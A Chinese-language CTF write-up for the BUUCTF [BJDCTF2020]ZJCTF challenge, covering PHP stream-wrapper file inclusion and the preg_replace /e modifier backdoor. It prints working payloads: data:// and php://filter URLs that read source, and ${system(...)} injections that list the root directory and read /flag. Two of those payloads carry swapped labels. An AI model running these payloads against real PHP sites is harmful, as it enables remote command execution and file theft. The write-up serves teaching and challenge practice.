preg_replace函式/e後門
阿新 • • 發佈:2020-12-08
preg_replace函式/e後門
前言
- 環境:buuctf中[BJDCTF2020]ZJCTF,不過如此
- 知識點:preg_replace,正則匹配反向引用,php雙引號解析
- 參考:wp
做題
<?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>
顯然檔案包含漏洞,要想滿足if語句,可以通過偽協議
通過data協議進行繞過
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
當然也可以通過php://input協議
?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php
[POST:DATA]:I have a dream
得到next.php原始碼
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
foreach語句把$_GET
陣列中的鍵名作為preg_replace函式中的pattern,對應的值作為要匹配的字串,用了/e
修飾符,當匹配到時,就會把strtolower("\\1")
當做php程式碼執行。\\1
在正則匹配中表示匹配的第一個括號中的內容
而注意到strtolower("\\1")
,\\1
是被雙引號包裹起來的,會被當做php解析器解析。可以參考:文章
解法一
直接執行任意命令,用ascii繞過引號,因為這裡有引號會導致報錯
爆目錄
\S*=${readfile(chr(47).chr(102).chr(108).chr(97).chr(103))}
讀取/flag
\S*=${system(chr(108).chr(115).chr(32).chr(47))}
解法二
利用getFlag()函式
?\S*=${getFlag()}&cmd=system('ls /');
?\S*=${getFlag()}&cmd=system('cat /flag');